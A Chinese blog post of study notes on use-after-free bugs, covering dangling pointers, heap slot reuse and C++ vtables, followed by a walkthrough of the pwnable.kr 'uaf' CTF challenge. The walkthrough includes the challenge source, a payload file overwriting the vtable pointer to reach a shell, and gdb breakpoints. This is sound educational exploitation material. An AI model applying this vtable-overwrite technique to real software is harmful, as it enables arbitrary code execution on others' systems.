学习笔记:UAF释放后重用

一颗小胡椒2022-04-15 08:17:36

UAF基础概念

UAF漏洞全称为use after free,即释放后重用。漏洞产生的原因,在于内存在被释放后,但是指向指针并没有被删除,又被程序调用。比较常见的类型是C++对象,利用UAF修改C++的虚函数表导致的任意代码执行。

在了解UAF是导致任意代码执行的细节,首先让我们了解几个概念:

悬挂指针、内存占坑、C++虚函数

实验源码如下

// UAFv1.cpp : 定义控制台应用程序的入口点。//#includeusing namespace std;#include "stdafx.h"#include#include#define size 32
class Base{public :int base;virtual void f(){ cout<<"Base::f()"<virtual void g(){cout<<"Base::g()"<virtual void h(){cout<<"Base::h()"<};class Child:public Base{public:int child;void f(){cout<<"Child::f()"<void g1(){cout<<"Child::g1()"<void h1(){cout<<"Child::h1()"<};
int _tmain(int argc, _TCHAR* argv[]){char *buf1;char * buf2;//Lab1    buf1=(char *)malloc(size);printf("buf1:0x%pn",buf1);free(buf1);
    buf2=(char *)malloc(size);printf("buf2:0x%pn",buf2);
memset(buf2,0,size);printf("buf2:%dn",*buf2);
printf("====Use Afrer Free====n");strncpy(buf1,"hack",5);printf("buf2:%snn",buf2);
free(buf2);//Lab2    Base *B=new Base();    Base *C=new Child();
    getchar();return 0;}

一、{1}悬挂指针(Dangling pointer)

指向被释放的对象内存的指针。

成因:释放掉后没有将指针重置为null,导致指针依旧可以访问,并且继续指向已经释放的内存.UAF便是调用悬挂指针(多为C++对象),通过对这段内存提前的设计,使得程序调用我们设计好的程序。

案例程序中,为buf1分配了一段32字节的空间,然后将其释放。

但是当使用strncpy对已经释放的buf1拷贝字符串时,发现被free的buf1依然是可以访问的,并且指向的内存没有变化。

释放后的buf1依然指向原来的内存,此时的buf1就是一个悬挂指针。

一、{2}占坑

了解堆分配的占坑机制,需要了解SLUB系统内存分配机制。和SLAB不同,这种利用方法对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,也就是说我们释放掉对象A以后马上再申请对象B,只要两者大小相同,那么B就很有可能重用A的内存。

见案例中,释放buf1时,buf1指向0xa35470的内存。而在buf1释放之后,立即分配一个相同大小的内存给buf2指针,发现buf2获取的指针指向的就是buf1被释放的内存地址。

这就是buf2占坑了buf1的内存空间。

此时发散一下思维,buf2可控,而buf1仍然指向buf2的内存空间,是不是就有可能造成程序出现问题。

一、{3}虚函数

C++中的虚函数的作用主要是实现了多态的机制。简而言之就是用父类型别的指针指向其子类的实例,然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”。代码表现形式就是C++类中Virtaul开头的函数。

同时C++的虚函数是漏洞攻击的重点对象,C++对象中有一个非常重要的结构—虚函数表。

覆盖C++虚函数造成的漏洞利用技术的风靡程度,不亚于经典栈溢出的覆盖手法。更重要的是覆盖虚函数表还可以从本质上绕过GS等内存保护机制,这里不展开说了。

详细的逆向分析,非常推荐《C++反汇编揭秘》这本书,将虚函数的反汇编代码和C++代码进行对比,理解会比较深刻。

代码分别实例化了Base和Child为B和C,查看内存结构。

Base对象B的首地址存放_vfptr(虚函数表),指向三个虚函数f()、g()、 h()

Child对象C的首地址是对基类(Base)的一个拷贝,值得注意的是Base类里的虚函数表,这里的f()函数被Child重写,g和h函数则依然指向Base实例化时其在虚函数表中的地址。

C的第二个地址则指向自己的虚函数表。

这些继承关系,可以简单概括为下面三张图。

接下来我们观察代码是如何生成C++虚函数表的。

首先v2=operator new(8u) 对应Base *B=new Base()实例化对象,v2为指向对象的指针。

实例化对象之后,C++会将虚函数表的地址放在对象内存的开头。

进入sub_411140函数之后经过二次跳转进入sub_4117A0函数


text:004117C3                 mov     eax, [ebp+var_8]
.text:004117C6                 mov     dword ptr [eax], offset ??_7Base@@6B@ ; const Base::`vftable'

mov操作将虚函数表地址放到[eax]的位置,而此时eax的值就是通过上层函数传递下来的v2的指针。所以这段代码就完成了将虚表放置到对象头部的效果。

这一步骤之后,也就能理解为什么虚函数表会在对象表头,同时这个操作也是我们用来判断C++对象创建的一个非常好的信号,还可以获取这个对象的头部地址和虚表。

通过PWN题掌握UAF

在掌握了基础之后,我们可以拿pwnalbe.kr 的UAF题来快速理解利用原理。

使用scp下载二进制文件和源码(密码:guest)

$ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf  /Users/p0kerface/
$ scp -P2222 uaf@pwnable.kr:/home/uaf/uaf.cpp  /Users/p0kerface/

主要思路便是利用占坑的方法,向被释放的空间写入数据覆盖vfptr(虚函数表),然后调用悬挂指针完成UAF,这题非常经典值得在做UAF之前的复习。

调试过程中,意识到自己阅读C++的反汇编水平还是不够,类和对象没有源码只看IDA还是非常困难的。所以会把一些逆向的笔记记录下来。

程序源码

uaf.cpp
#include 
#include  
#include 
#include 
#include 
using namespace std;
class Human{
private:
virtual void give_shell(){
        system("/bin/sh");
    }
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
    }
};
class Man: public Human{
public:
    Man(string name, int age){
this->name = name;
this->age = age;
        }
virtual void introduce(){
        Human::introduce();
cout << "I am a nice guy!" << endl;
        }
};
class Woman: public Human{
public:
        Woman(string name, int age){
this->name = name;
this->age = age;
        }
virtual void introduce(){
                Human::introduce();
cout << "I am a cute girl!" << endl;
        }
};
int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. usen2. aftern3. freen";
cin >> op;
switch(op){
case 1:
                m->introduce();
                w->introduce();
break;
case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
        }
    }
return 0;    
}

二、{1}代码分析

通过IDA反汇编,不过C++的代码已经非常难以看懂了,代码主要分两大块解析。

第一部分是类和子类的定义,定义的父类Human和子类Man和Woman。其中父类包含get_shell函数,虽然子类并没有定义,但是通过继承关系可知,在实例化过程中,虚函数表中函数会包含这个函数。

第二部分就是类的实例化和use after free 三个功能。

接下来我们将程序重要的部分分析一下,以便理解漏洞。

(1)实例化对象

Human* m = new Man(“Jack”, 25);这句在IDA翻译如下,变量v3为实例化Man对象之后的指针。

找到对应的反汇编,0x400F13这个地方是对象实例化的函数,在call执行结束之后,EBX中便保存这Man对象的指针,即上文中的v3变量。可以通过gdb下断点进行调试。

当实例完对象之后,ebx存放的地址(0x401570),也就是前文中所说的虚函数表vfptr,指向的第一个函数Human继承下来的give_shell。

让我们查看虚表的内存,可以看到Man的虚表中有两个函数。虚表偏移8字节便是introduce函数。

(2)调用方法

源代码

case 1:
                m->introduce();
                w->introduce();
break;

IDA中对应的伪代码

指针v13和v14分别对应实例化的Man和Woman,Woman的虚函数表的结构与Man是相同的(地址不同),所以不再赘述。

通过观察虚函数表结构,我们已经知道introduce为虚表表头偏移8个字节,所以便有了v13+8字节偏移。

这里就埋下一个伏笔,如果对虚表指针的地址进行改写,将虚表向前偏移8个字节,这样本来调用introduce方法就会调用getshell方法。

对应的反汇编如下,非常建议自己动态调试一遍,能够加深印象。

二、{2}UAF利用流程

(1)程序实例化Man和Women

(2)使用Free将Man和Women分别Free (free)

(3)再分配内存,这里我们需要分配24字节,为了占坑。(after)

因为24字节(0x18)和之前分配的Man和Women一样(上图所示),所以会发生占坑现象,也就是说程序会将之前被释放的Man和Women空间分配给这个指针。此时读取文件(poc)的内容,因为占坑之后内存指针指向的第一个字符就是,覆盖之前Man和Women的虚函数。

Poc的内容就是$ python -c “print ‘x68x15x40x00x00x00x00x00’”> poc

即0x401468=0x401570-8,原虚函数表地址-8字节。

(4)调用Man的悬挂指针,因为虚函数表被我们从poc读入的数据改写,调用intruduce会调用getshell

(5)利用结束

使用UAF修改C++虚表,改变程序流程。

调试过程中,建议下如下的断点,可以让程序停在关键的地方。也可以在调试过程中,多尝试用Ctrl+C呼叫程序暂停,然后设置断点。

gdb-peda$ b *0x400f13
Breakpoint 1 at 0x400f13
gdb-peda$ b *0x400fcd
Breakpoint 2 at 0x400fcd
gdb-peda$ b *0x40102d
Breakpoint 3 at 0x40102d
gdb-peda$ b *0x401076
Breakpoint 4 at 0x401076

根据如下的操作,我们很容易就获取了shell,注意传递参数poc文件

指针虚函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
UAF漏洞全称为use after free,即释放后重用。
C和C++向来以“let the programmer do what he wants to do”的贴近底层而为广大开发者所喜爱。
逆向角度看C++部分特性
软件漏洞分析简述
2022-07-18 07:08:06
然后电脑坏了,借了一台win11的,凑合着用吧。第一处我们直接看一下他写的waf. 逻辑比较简单,利用正则,所有通过 GET 传参得到的参数经过verify_str函数调用inject_check_sql函数进行参数检查过滤,如果匹配黑名单,就退出。但是又有test_input函数进行限制。可以看到$web_urls会被放入数据库语句执行,由于$web_urls获取没有经过过滤函数,所以可以
控制流劫持攻击是当前较为主流的攻击方式之一,包括ROP、JOP等等。
House of Cat5月份偶然发现的一种新型GLIBC中IO利用思路,目前适用于任何版本,命名为House of cat并出在2022强网杯中。但是需要攻击位于TLS的_pointer_chk_guard,并且远程可能需要爆破TLS偏移。并且house of cat在FSOP的情况下也是可行的,只修改虚表指针的偏移来调用_IO_wfile_seekoff即可。vtable检查在glibc2.24以后加入了对函数的检测,在调用函数之前首先会检查函数地址的合法性。
几乎所有Win32程序都会加载ntdll.dll和kernel32.dll这两个基础的动态链接库。64位系统首先通过选择字GS在内存中找到当前存放着指向当前线程环境块TEB。进程环境块中偏移位置为0x18的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
EXP编写学习之绕过GS
2023-02-20 09:58:16
栈中的守护天使 :GSGS原理向栈内压入一个随机的DWORD值,这个随机数被称为canary ,IDA称为 Security Cookie。Security Cookie 放入 ebp前,并且data节中存放一个 Security Cookie的副本。栈中发生溢出时,Security Cookie首先被淹没,之后才是ebp和返回地址。函数返回之前,会添加一个Security Cookie验证操作,称为Security Check。检测到溢出时,系统将进入异常处理流程,函数不会正常返回,ret也不会被执行。函数使用无保护的关键字标记。缓冲区不是8字节类型 且 大小不大于4个字节。可以为函数强制启用GS。
源码分析1、LLVM编译器简介LLVM 命名最早源自于底层虚拟机的缩写,由于命名带来的混乱,LLVM就是该项目的全称。LLVM 核心库提供了与编译器相关的支持,可以作为多种语言编译器的后台来使用。自那时以来,已经成长为LLVM的主干项目,由不同的子项目组成,其中许多是正在生产中使用的各种 商业和开源的项目,以及被广泛用于学术研究。
什么是UAF漏洞?当访问指向已释放对象的指针时,就会发生UAF漏洞。它没有任何意义!为什么程序员要释放一个对象,然后再次访问它?
一颗小胡椒
暂无描述